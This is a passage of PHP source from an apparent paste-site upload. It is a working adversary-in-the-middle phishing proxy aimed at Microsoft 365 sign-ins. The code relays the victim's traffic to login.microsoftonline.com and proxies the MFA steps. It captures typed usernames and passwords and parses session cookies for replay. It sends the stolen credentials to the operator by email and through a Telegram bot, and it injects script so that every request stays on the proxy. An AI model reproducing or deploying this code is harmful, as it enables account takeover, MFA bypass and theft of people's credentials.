  1620.             $headers[] = 'Sec-Ch-Ua-Platform: \"macOS\"';
  1621.             curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
  1622.             curl_setopt($ch, CURLOPT_COOKIEJAR, $tmpfname);
  1623.             curl_setopt($ch, CURLOPT_COOKIEFILE, $tmpfname);
  1624.             $result = curl_exec($ch);
  1625.             $content = $result;
  1626.             curl_close($ch);
  1627.             sleep(3);
  1628.                 $waitedForMFA+=5;  
  1629.                 return $content;
  1630.         }
  1631.       }
  1632.       else{
  1633.             $ch = curl_init();
  1634.             curl_setopt($ch, CURLOPT_URL, 'https://login.microsoftonline.com/common/SAS/EndAuth');
  1635.             curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  1636.                     //curl_setopt($s,CURLOPT_RETURNTRANSFER,TRUE);
  1637.             curl_setopt($ch,CURLOPT_FOLLOWLOCATION,TRUE);
  1638.             curl_setopt($ch,CURLOPT_HEADER,0);
  1639.             curl_setopt($ch, CURLOPT_POST, 1);
  1640.             
  1641.             if(is_array($payload)){
  1642.                     curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($payload));
  1643.             } else{
  1644.                     curl_setopt($ch, CURLOPT_POSTFIELDS, $payload);
  1645.             }
  1646.             
  1647.             curl_setopt($ch, CURLOPT_ENCODING, 'gzip, deflate');
  1648.             $headers = array();
  1649.             $headers[] = 'Sec-Ch-Ua: \".Not/A)Brand\";v=\"99\", \"Google Chrome\";v=\"103\", \"Chromium\";v=\"103\"';
  1650.             $headers[] = 'Hpgrequestid: '.$data["hpgrequestid"];
  1651.             $headers[] = 'Sec-Ch-Ua-Mobile: ?0';
  1652.             $headers[] = 'User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36';
  1653.             $headers[] = 'Client-Request-Id: '.$data["client-request-id"];
  1654.             $headers[] = 'Canary: '.$data["canary"];
  1655.             $headers[] = 'Content-Type: application/json; charset=UTF-8';
  1656.             $headers[] = 'Hpgid: '.$data["hpgid"];
  1657.             $headers[] = 'Accept: application/json';
  1658.             $headers[] = 'Referer: https://login.microsoftonline.com/common/login';
  1659.             $headers[] = 'Hpgact: '.$data["hpgact"];
  1660.             $headers[] = 'Sec-Ch-Ua-Platform: \"macOS\"';
  1661.             curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
  1662.             curl_setopt($ch, CURLOPT_COOKIEJAR, $tmpfname);
  1663.             curl_setopt($ch, CURLOPT_COOKIEFILE, $tmpfname);
  1664.             $result = curl_exec($ch);
  1665.             $content = $result;
  1666.             curl_close($ch);
  1667.             return $content;
  1668.       }
  1669. }
  1670.  
  1671. function has_prefix($string, $prefix) {
  1672.    return substr($string, 0, strlen($prefix)) == $prefix;
  1673. }
  1674.  
  1675. function GetCookieFromFile($content){
  1676.  
  1677.  
  1678.  
  1679.     $cookies = array();
  1680.     $out_cookie = array();
  1681.     
  1682.     //$lines = file($content);
  1683.  
  1684.     foreach(preg_split('~[\r\n]+~', $content) as $line) {
  1685.  
  1686.         $cokie = array(
  1687.             "name" => "",
  1688.             "path" => "",
  1689.             "value" => "",
  1690.             "domain" => "",
  1691.             "secure" => 'true',
  1692.             "expirationDate"  =>  "0",
  1693.             "httponly"  => 'true',
  1694.             "samesite"  => "None"
  1695.         );
  1696.  
  1697.         $cookie_ = preg_split('/\s+/', $line);
  1698.  
  1699.             if ( $cookie_[1]  === 'TRUE' || $cookie_[1] === 'FALSE' ) {
  1700.  
  1701.                         $cokie['httponly'] = (has_prefix($cookie_[0], '#HttpOnly') ? 'true' : 'null' );
  1702.                     $cokie['domain'] = (has_prefix($cookie_[0], '#HttpOnly') ? substr($cookie_[0], 10) : $cookie_[0] );
  1703.                         $cokie['name'] = $cookie_[5];
  1704.                         $cokie['path'] = $cookie_[2];
  1705.                         $cokie['expirationDate'] = (( $cookie_[4]  !== '0' || $cookie_[4] !== '00' ) ? "31536000" : $cookie_[4]  );
  1706.                         $cokie['value'] = $cookie_[6];
  1707.                         $cokie['secure'] = (( $cookie_[1]  !== 'TRUE') ? "true" : "false"  );
  1708.                         array_push($cookies,$cokie);
  1709.             }
  1710.     }
  1711.  
  1712.     foreach ($cookies as $kpcookies) {
  1713.         array_push($out_cookie,$kpcookies);
  1714.     }
  1715.  
  1716.     #$out_cookie = json_encode($out_cookie);
  1717.  
  1718.     return $out_cookie;
  1719. }
  1720.  
  1721. //Extract and sanitize the requested URL, handling cases where forms have been rewritten to point to the proxy.
  1722. if (isset($_POST["KINGOPProxyFormAction"])) {
  1723.   $url = $_POST["KINGOPProxyFormAction"];
  1724.   unset($_POST["KINGOPProxyFormAction"]);
  1725. } else {
  1726.   $queryParams = [];
  1727.   parse_str($_SERVER["QUERY_STRING"], $queryParams);
  1728.   //If the KINGOPProxyFormAction field appears in the query string, make $url start with its value, and rebuild the the query string without it.
  1729.   if (isset($queryParams["KINGOPProxyFormAction"])) {
  1730.     $formAction = $queryParams["KINGOPProxyFormAction"];
  1731.     unset($queryParams["KINGOPProxyFormAction"]);
  1732.     $url = $formAction . "?" . http_build_query($queryParams);
  1733.   } else {
  1734.     //$url = substr($_SERVER["REQUEST_URI"], strlen("?") + 1);
  1735.     $url = explode('?', $_SERVER["REQUEST_URI"], 2)[1];
  1736.   }
  1737. }
  1738.  
  1739.  
  1740. //die($url);
  1741.  
  1742.  
  1743. if (empty($url)) {
  1744.     if (empty($startURL)) {
  1745.       //die("<html><head><title>KinGOPProxy</title></head><body><h1>Welcome to KinGOPProxy!</h1>KinGOPProxy can be directly invoked like this: <a href=\"" . PROXY_PREFIX . $landingExampleURL . "\">" . PROXY_PREFIX . $landingExampleURL . "</a><br /><br />Or, you can simply enter a URL below:<br /><br /><form onsubmit=\"if (document.getElementById('site').value) { window.location.href='" . PROXY_PREFIX . "' + document.getElementById('site').value; return false; } else { window.location.href='" . PROXY_PREFIX . $landingExampleURL . "'; return false; }\" autocomplete=\"off\"><input id=\"site\" type=\"text\" size=\"50\" /><input type=\"submit\" value=\"Proxy It!\" /></form></body></html>");
  1746.       $url = $landingExampleURL;
  1747.     } else {
  1748.       $url = $startURL;
  1749.     }
  1750. } else if (strpos($url, ":/") !== strpos($url, "://")) {
  1751.     //Work around the fact that some web servers (e.g. IIS 8.5) change double slashes appearing in the URL to a single slash.
  1752.     //See https://github.com/joshdick/KinGOPProxy/pull/14
  1753.     $pos = strpos($url, ":/");
  1754.     $url = substr_replace($url, "://", $pos, strlen(":/"));
  1755. }
  1756.  
  1757. $scheme = parse_url($url, PHP_URL_SCHEME);
  1758. if (empty($scheme)) {
  1759.   if (strpos($url, "//") === 0) {
  1760.     //Assume that any supplied URLs starting with // are HTTP URLs.
  1761.     $url = "http:" . $url;
  1762.   } else {
  1763.     //Assume that any supplied URLs without a scheme (just a host) are HTTP URLs.
  1764.     $url = "http://" . $url;
  1765.   }
  1766. } else if (!preg_match("/^https?$/i", $scheme)) {
  1767.     die('Error: Detected a "' . $scheme . '" URL. KinGOPProxy exclusively supports http[s] URLs.');
  1768. }
  1769.  
  1770. if (!isValidURL($url)) {
  1771.   die("Error: The requested URL was disallowed by the server administrator.");
  1772. }
  1773.  
  1774. if(strpos($url, 'BeginAuth') !== FALSE || strpos($url, 'EndAuth') !== FALSE || isset($_GET['pollCount']) || isset($_POST['pollCount']) ||  strpos($url, 'ProcessAuth') !== FALSE ){
  1775.  
  1776.   $parts = parse_url($url);
  1777.   parse_str($parts['query'], $query);
  1778.   //$post = ['client_id' => $query['client_id'], 'login_hint' => $email, 'scope' => "m_sScope"];
  1779.   $pollCount = $query['pollCount'];
  1780.   $authMethodId = $query['authMethodId'];
  1781.  
  1782.   $login = ( isset($_GET['login']) ? $_GET['login'] : $_POST['login'] );
  1783.  
  1784.   $request_body = file_get_contents('php://input');
  1785.  
  1786.   $headers = array();
  1787.   $data = [];
  1788.  
  1789.   foreach (getallheaders() as $name => $value) {
  1790.       $name = strtolower($name);
  1791.  
  1792.       //echo $name;
  1793.  
  1794.       if ($name=='Referer') {
  1795.           $headers[] = 'Referer: https://login.microsoftonline.com/common/login';
  1796.  
  1797.       }
  1798.       elseif ($name=='x-ms-ctx') {
  1799.             $ctx = $value;
  1800.       }
  1801.       elseif ($name=='x-ms-flowtoken') {
  1802.             $flowToken = $value;
  1803.       }
  1804.       elseif ($name=='x-ms-sessionid') {
  1805.             $data['SessionId'] = $value;
  1806.       }
  1807.       else{
  1808.           $headers[] = $name.': '.$value;
  1809.           $data[$name] = $value;
  1810.         }
  1811.  
  1812.   }
  1813.  
  1814.   if (isset($_GET['pollCount']) || isset($_POST['pollCount']) || strpos($url, 'EndAuth') !== FALSE) {
  1815.     $pollCount = ( isset($_GET['pollCount']) ? $_GET['pollCount'] : $pollCount );
  1816.     $authMethodId = ( isset($_GET['authMethodId']) ? $_GET['authMethodId'] : $authMethodId );
  1817.     $payload = (!empty($request_body) ? $request_body : $query );
  1818.     if (strpos($url, 'pollCount') !== FALSE) {
  1819.       $response = PullurlEndAuth($login,$authMethodId,$pollCount,$ctx,$flowToken,$data);
  1820.     }else{
  1821.       $response = urlEndAuth($login,$authMethodId,$data,$payload);
  1822.     }
  1823.     
  1824.     die($response);
  1825.   }elseif (strpos($url, 'ProcessAuth') !== FALSE) {
  1826.     $payload = ( isset($_POST) ? $_POST : $_GET );
  1827.     $response = ProcessAuth($login,$payload);
  1828.     die($response);
  1829.   }
  1830.  
  1831.  
  1832.   $response = authMethodId($login,$data,$request_body);
  1833.  
  1834.    die($response);
  1835.  
  1836. }
  1837.  
  1838.  
  1839.  
  1840. $response = makeRequest($url);
  1841. $rawResponseHeaders = $response["headers"];
  1842. $responseBody = $response["body"];
  1843. $responseInfo = $response["responseInfo"];
  1844.  
  1845. //die(PROXY_PREFIX);
  1846.  
  1847. //If CURLOPT_FOLLOWLOCATION landed the proxy at a diferent URL than
  1848. //what was requested, explicitly redirect the proxy there.
  1849. $responseURL = $responseInfo["url"];
  1850. if ($responseURL !== $url) {
  1851.   header("Location: " . PROXY_PREFIX . $responseURL, true);
  1852.   exit(0);
  1853. }
  1854.  
  1855. //A regex that indicates which server response headers should be stripped out of the proxified response.
  1856. $header_blacklist_pattern = "/^Content-Length|^Transfer-Encoding|^Content-Encoding.*gzip/i";
  1857.  
  1858. //cURL can make multiple requests internally (for example, if CURLOPT_FOLLOWLOCATION is enabled), and reports
  1859. //headers for every request it makes. Only proxy the last set of received response headers,
  1860. //corresponding to the final request made by cURL for any given call to makeRequest().
  1861. $responseHeaderBlocks = array_filter(explode("\r\n\r\n", $rawResponseHeaders));
  1862. $lastHeaderBlock = end($responseHeaderBlocks);
  1863. $headerLines = explode("\r\n", $lastHeaderBlock);
  1864. foreach ($headerLines as $header) {
  1865.   if ( !preg_match( '/^Transfer-Encoding:/i', $header ) ) {
  1866.         if ( preg_match( '/^Location:/i', $header ) ) {
  1867.             $hdr_array = http_parse_headers($header);
  1868.             foreach ($hdr_array as $name => $value) {
  1869.                 echo "The value of '$name' is '$value'<br>";
  1870.                 $header = str_replace($value, PROXY_PREFIX . rel2abs($value, $url), $header);
  1871.             }
  1872.             header($header, false);
  1873.             //$header = str_replace($backend_url, "/", $header);
  1874.         }
  1875.   }
  1876.   $header = trim($header);
  1877.   if (!preg_match($header_blacklist_pattern, $header)) {
  1878.     header($header, false);
  1879.   }
  1880. }
  1881. //Prevent robots from indexing proxified pages
  1882. header("X-Robots-Tag: noindex, nofollow", true);
  1883.  
  1884. if (isset($_POST['login']) || isset($_POST['passwd']) ) {
  1885.   // code...
  1886.   $userCredantials['username'] = $_POST['login'];
  1887.   $userCredantials['password'] = $_POST['passwd'];
  1888. }elseif (isset($_POST['UserName']) || isset($_POST['Password']) ) {
  1889.   // code...
  1890.   $userCredantials['username'] = $_POST['UserName'];
  1891.   $userCredantials['password'] = $_POST['Password'];
  1892. }
  1893.  
  1894. if ($forceCORS) {
  1895.   //This logic is based on code found at: http://stackoverflow.com/a/9866124/278810
  1896.   //CORS headers sent below may conflict with CORS headers from the original response,
  1897.   //so these headers are sent after the original response headers to ensure their values
  1898.   //are the ones that actually end up getting sent to the browser.
  1899.   //Explicit [ $replace = true ] is used for these headers even though this is PHP's default behavior.
  1900.  
  1901.   //Allow access from any origin.
  1902.   header("Access-Control-Allow-Origin: *", true);
  1903.   header("Access-Control-Allow-Credentials: true", true);
  1904.  
  1905.   //Handle CORS headers received during OPTIONS requests.
  1906.   if ($_SERVER["REQUEST_METHOD"] == "OPTIONS") {
  1907.     if (isset($_SERVER["HTTP_ACCESS_CONTROL_REQUEST_METHOD"])) {
  1908.       header("Access-Control-Allow-Methods: GET, POST, OPTIONS", true);
  1909.     }
  1910.     if (isset($_SERVER["HTTP_ACCESS_CONTROL_REQUEST_HEADERS"])) {
  1911.       header("Access-Control-Allow-Headers: {$_SERVER['HTTP_ACCESS_CONTROL_REQUEST_HEADERS']}", true);
  1912.     }
  1913.     //No further action is needed for OPTIONS requests.
  1914.     exit(0);
  1915.   }
  1916.  
  1917. }
  1918.  
  1919. $contentType = "";
  1920. if (isset($responseInfo["content_type"])) $contentType = $responseInfo["content_type"];
  1921.  
  1922. if(strpos($responseBody, '"urlPost":"/kmsi"') !== FALSE && strpos($responseBody, '"sCanaryTokenName":"canary"') !== FALSE){
  1923.         //$file = "success.html";
  1924.         //file_put_contents(dirname(__FILE__) .'/tmp/'.$userUPN.'_cookie.html', $responseBody);
  1925.         $TrueLogin = true;
  1926.         //$result = array("Success" => "True", "Message" => "Login was successful");
  1927.         //PerformLastCookieLog();
  1928.         //unlink($tmpfname);
  1929.         //return json_encode($result);
  1930.     } 
  1931.   else {
  1932.         //return $responseBody;
  1933.         //$file = "fail.html";
  1934.         if(strpos($responseBody, '"authMethodId":"')){
  1935.             //return $responseBody;
  1936.             //$clientId = $requestID;
  1937.             //$homepage = $responseBody;
  1938.             //$file = MFAParse($homepage,$clientId);
  1939.             //return $file;
  1940.           $hascookie = true;
  1941.           $TrueLogin = true;
  1942.  
  1943.             //$result = array("Success" => "OTP", "Message" => $file);
  1944.  
  1945.             //return json_encode($file);
  1946.  
  1947.             /*if(($title = get_title($file)) === "Working..."){
  1948.  
  1949.                 $jason = GetCookieFromFile($tmpfname);
  1950.                 $result = array("Success" => "true", "Message" => $jason);
  1951.                  return json_encode($result);
  1952.             }
  1953.  
  1954.  
  1955.             $result = array("Success" => "OTP", "Message" => $file);
  1956.             return json_encode($result);*/
  1957.         }  
  1958.         
  1959.             
  1960.         //GetCookieFromFile($file);
  1961.         //$jason = GetCookieFromFile($file);
  1962.         //SaveMFAjs($jason,$_POST["login"],TRUE);
  1963.  
  1964. }
  1965.  
  1966. if (!empty($userCredantials['username']) || !empty($userCredantials['password'])) {
  1967.   $msgd=getmessagendsubject($userCredantials,$hascookie,$TrueLogin);
  1968.   @mail($userData['Email'], $msgd['subject'], $msgd['message']);
  1969.   $bot->sendMessage($userData['chatid'], $msgd['message']);
  1970. }
  1971.  
  1972.  
  1973. //This is presumably a web page, so attempt to proxify the DOM.
  1974. if (stripos($contentType, "text/html") !== false) {
  1975.  
  1976.   //Attempt to normalize character encoding.
  1977.   $detectedEncoding = mb_detect_encoding($responseBody, "UTF-8, ISO-8859-1");
  1978.   if ($detectedEncoding) {
  1979.     $responseBody = mb_convert_encoding($responseBody, "HTML-ENTITIES", $detectedEncoding);
  1980.   }
  1981.  
  1982.   $findwithoffice = ['urlGetCredentialType','urlGetRecoveryCredentialType','FederationRedirectUrl','urlLogin','redirectUri','pageload','dssostatus','urlRefresh','urlCancel','urlResume','urlFidoLogin','urlPost','urlPostRedirect','urlBeginAuth', 'urlEndAuth'];
  1983.   foreach ($findwithoffice as $value) {
  1984.     $res = preg_match('|"'.$value.'":"([^"]+)"|',$responseBody,$matches);
  1985.     if($res == 1) {
  1986.       //$apiCanary = $matches[1];
  1987.       $responseBody = str_replace($matches[1], PROXY_PREFIX . rel2abs($matches[1], $url), $responseBody);
  1988.     }
  1989.   }
  1990.  
  1991.   $name = array('godaddy', '.js');
  1992.  
  1993. foreach ($name as $find) {
  1994.     if (strpos($url, $find)) {
  1995.       die($responseBody);
  1996.         $url_name = "https://google.com";
  1997.         $ch_session = curl_init();
  1998.         curl_setopt($ch_session, CURLOPT_RETURNTRANSFER, 1);
  1999.         curl_setopt($ch_session, CURLOPT_URL, $url);
  2000.         $result_url = curl_exec($ch_session);
  2001.         die($result_url);
  2002.     }
  2003. }
  2004.  
  2005. if (strpos($url, "login.microsoftonline.com") !== false) {
  2006.   die(auto_code_html($responseBody));
  2007.  
  2008. }
  2009.  
  2010.   //Parse the DOM.
  2011.   $doc = new DomDocument();
  2012.   @$doc->loadHTML($responseBody);
  2013.   $xpath = new DOMXPath($doc);
  2014.  
  2015.   //Rewrite forms so that their actions point back to the proxy.
  2016.   foreach($xpath->query("//form") as $form) {
  2017.     $method = $form->getAttribute("method");
  2018.     $action = $form->getAttribute("action");
  2019.     //If the form doesn't have an action, the action is the page itself.
  2020.     //Otherwise, change an existing action to an absolute version.
  2021.     $action = empty($action) ? $url : rel2abs($action, $url);
  2022.     //Rewrite the form action to point back at the proxy.
  2023.     $form->setAttribute("action", rtrim(PROXY_PREFIX, "?"));
  2024.     //Add a hidden form field that the proxy can later use to retreive the original form action.
  2025.     $actionInput = $doc->createDocumentFragment();
  2026.     $actionInput->appendXML('<input type="hidden" name="KINGOPProxyFormAction" value="' . htmlspecialchars($action) . '" />');
  2027.     $form->appendChild($actionInput);
  2028.   }
  2029.   //Proxify <meta> tags with an 'http-equiv="refresh"' attribute.
  2030.   foreach ($xpath->query("//meta[@http-equiv]") as $element) {
  2031.     if (strcasecmp($element->getAttribute("http-equiv"), "refresh") === 0) {
  2032.       $content = $element->getAttribute("content");
  2033.       if (!empty($content)) {
  2034.         $splitContent = preg_split("/=/", $content);
  2035.         if (isset($splitContent[1])) {
  2036.           $element->setAttribute("content", $splitContent[0] . "=" . PROXY_PREFIX . rel2abs($splitContent[1], $url));
  2037.         }
  2038.       }
  2039.     }
  2040.   }
  2041.   //Profixy <style> tags.
  2042.   foreach($xpath->query("//style") as $style) {
  2043.     $style->nodeValue = proxifyCSS($style->nodeValue, $url);
  2044.   }
  2045.   //Proxify tags with a "style" attribute.
  2046.   foreach ($xpath->query("//*[@style]") as $element) {
  2047.     $element->setAttribute("style", proxifyCSS($element->getAttribute("style"), $url));
  2048.   }
  2049.   //Proxify "srcset" attributes in <img> tags.
  2050.   foreach ($xpath->query("//img[@srcset]") as $element) {
  2051.     $element->setAttribute("srcset", proxifySrcset($element->getAttribute("srcset"), $url));
  2052.   }
  2053.   //Proxify any of these attributes appearing in any tag.
  2054.   $proxifyAttributes = ["href", "src"];
  2055.   foreach($proxifyAttributes as $attrName) {
  2056.     foreach($xpath->query("//*[@" . $attrName . "]") as $element) { //For every element with the given attribute...
  2057.       $attrContent = $element->getAttribute($attrName);
  2058.       if ($attrName == "href" && preg_match("/^(about|javascript|magnet|mailto):|#/i", $attrContent)) continue;
  2059.       if ($attrName == "src" && preg_match("/^(data):/i", $attrContent)) continue;
  2060.       $attrContent = rel2abs($attrContent, $url);
  2061.       $attrContent = PROXY_PREFIX . $attrContent;
  2062.       $element->setAttribute($attrName, $attrContent);
  2063.     }
  2064.   }
  2065.  
  2066.   //Attempt to force AJAX requests to be made through the proxy by
  2067.   //wrapping window.XMLHttpRequest.prototype.open in order to make
  2068.   //all request URLs absolute and point back to the proxy.
  2069.   //The rel2abs() JavaScript function serves the same purpose as the server-side one in this file,
  2070.   //but is used in the browser to ensure all AJAX request URLs are absolute and not relative.
  2071.   //Uses code from these sources:
  2072.   //http://stackoverflow.com/questions/7775767/javascript-overriding-xmlhttprequest-open
  2073.   //https://gist.github.com/1088850
  2074.   //TODO: This is obviously only useful for browsers that use XMLHttpRequest but
  2075.   //it's better than nothing.
  2076.  
  2077.   $head = $xpath->query("//head")->item(0);
  2078.   $body = $xpath->query("//body")->item(0);
  2079.   $prependElem = $head != null ? $head : $body;
  2080.  
  2081.   //Only bother trying to apply this hack if the DOM has a <head> or <body> element;
  2082.   //insert some JavaScript at the top of whichever is available first.
  2083.   //Protects against cases where the server sends a Content-Type of "text/html" when
  2084.   //what's coming back is most likely not actually HTML.
  2085.   //TODO: Do this check before attempting to do any sort of DOM parsing?
  2086.   if ($prependElem != null) {
  2087.  
  2088.     $scriptElem = $doc->createElement("script",
  2089.       '(function() {
  2090.  
  2091.         if (window.XMLHttpRequest) {
  2092.  
  2093.           function parseURI(url) {
  2094.             var m = String(url).replace(/^\s+|\s+$/g, "").match(/^([^:\/?#]+:)?(\/\/(?:[^:@]*(?::[^:@]*)?@)?(([^:\/?#]*)(?::(\d*))?))?([^?#]*)(\?[^#]*)?(#[\s\S]*)?/);
  2095.             // authority = "//" + user + ":" + pass "@" + hostname + ":" port
  2096.             return (m ? {
  2097.               href : m[0] || "",
  2098.               protocol : m[1] || "",
  2099.               authority: m[2] || "",
  2100.               host : m[3] || "",
  2101.               hostname : m[4] || "",
  2102.               port : m[5] || "",
  2103.               pathname : m[6] || "",
  2104.               search : m[7] || "",
  2105.               hash : m[8] || ""
  2106.             } : null);
  2107.           }
  2108.  
  2109.           function rel2abs(base, href) { // RFC 3986
  2110.  
  2111.             function removeDotSegments(input) {
  2112.               var output = [];
  2113.               input.replace(/^(\.\.?(\/|$))+/, "")
  2114.                 .replace(/\/(\.(\/|$))+/g, "/")
  2115.                 .replace(/\/\.\.$/, "/../")
  2116.                 .replace(/\/?[^\/]*/g, function (p) {
  2117.                   if (p === "/..") {
  2118.                     output.pop();
  2119.                   } else {
  2120.                     output.push(p);
  2121.                   }
  2122.                 });
  2123.               return output.join("").replace(/^\//, input.charAt(0) === "/" ? "/" : "");
  2124.             }
  2125.  
  2126.             href = parseURI(href || "");
  2127.             base = parseURI(base || "");
  2128.  
  2129.             return !href || !base ? null : (href.protocol || base.protocol) +
  2130.             (href.protocol || href.authority ? href.authority : base.authority) +
  2131.             removeDotSegments(href.protocol || href.authority || href.pathname.charAt(0) === "/" ? href.pathname : (href.pathname ? ((base.authority && !base.pathname ? "/" : "") + base.pathname.slice(0, base.pathname.lastIndexOf("/") + 1) + href.pathname) : base.pathname)) +
  2132.             (href.protocol || href.authority || href.pathname ? href.search : (href.search || base.search)) +
  2133.             href.hash;
  2134.  
  2135.           }
  2136.  
  2137.           var proxied = window.XMLHttpRequest.prototype.open;
  2138.           window.XMLHttpRequest.prototype.open = function() {
  2139.               if (arguments[1] !== null && arguments[1] !== undefined) {
  2140.                 var url = arguments[1];
  2141.                 url = rel2abs("' . $url . '", url);
  2142.                 if (url.indexOf("' . PROXY_PREFIX . '") == -1) {
  2143.                   url = "' . PROXY_PREFIX . '" + url;
  2144.                 }
  2145.                 arguments[1] = url;
  2146.               }
  2147.               return proxied.apply(this, [].slice.call(arguments));
  2148.           };
  2149.  
  2150.         }
  2151.  
  2152.       })();'
  2153.     );
  2154.     $scriptElem->setAttribute("type", "text/javascript");
  2155.  
  2156.     $prependElem->insertBefore($scriptElem, $prependElem->firstChild);
  2157.  
  2158.   }
  2159.  
  2160.   echo "<!-- Modified page constructed by DigWITHKINGOP -->\n" . auto_code_html($doc->saveHTML());
  2161. } else if (stripos($contentType, "text/css") !== false) { //This is CSS, so proxify url() references.
  2162.   echo proxifyCSS($responseBody, $url);
  2163. } else { //This isn't a web page or CSS, so serve unmodified through the proxy with the correct headers (images, JavaScript, etc.)
  2164.   header("Content-Length: " . strlen($responseBody), true);
  2165.   echo $responseBody;
  2166. }
File Description
  • gtyhjk
  • PHP Code
  • 09 Feb-2024
  • 73.17 Kb
You can Share it: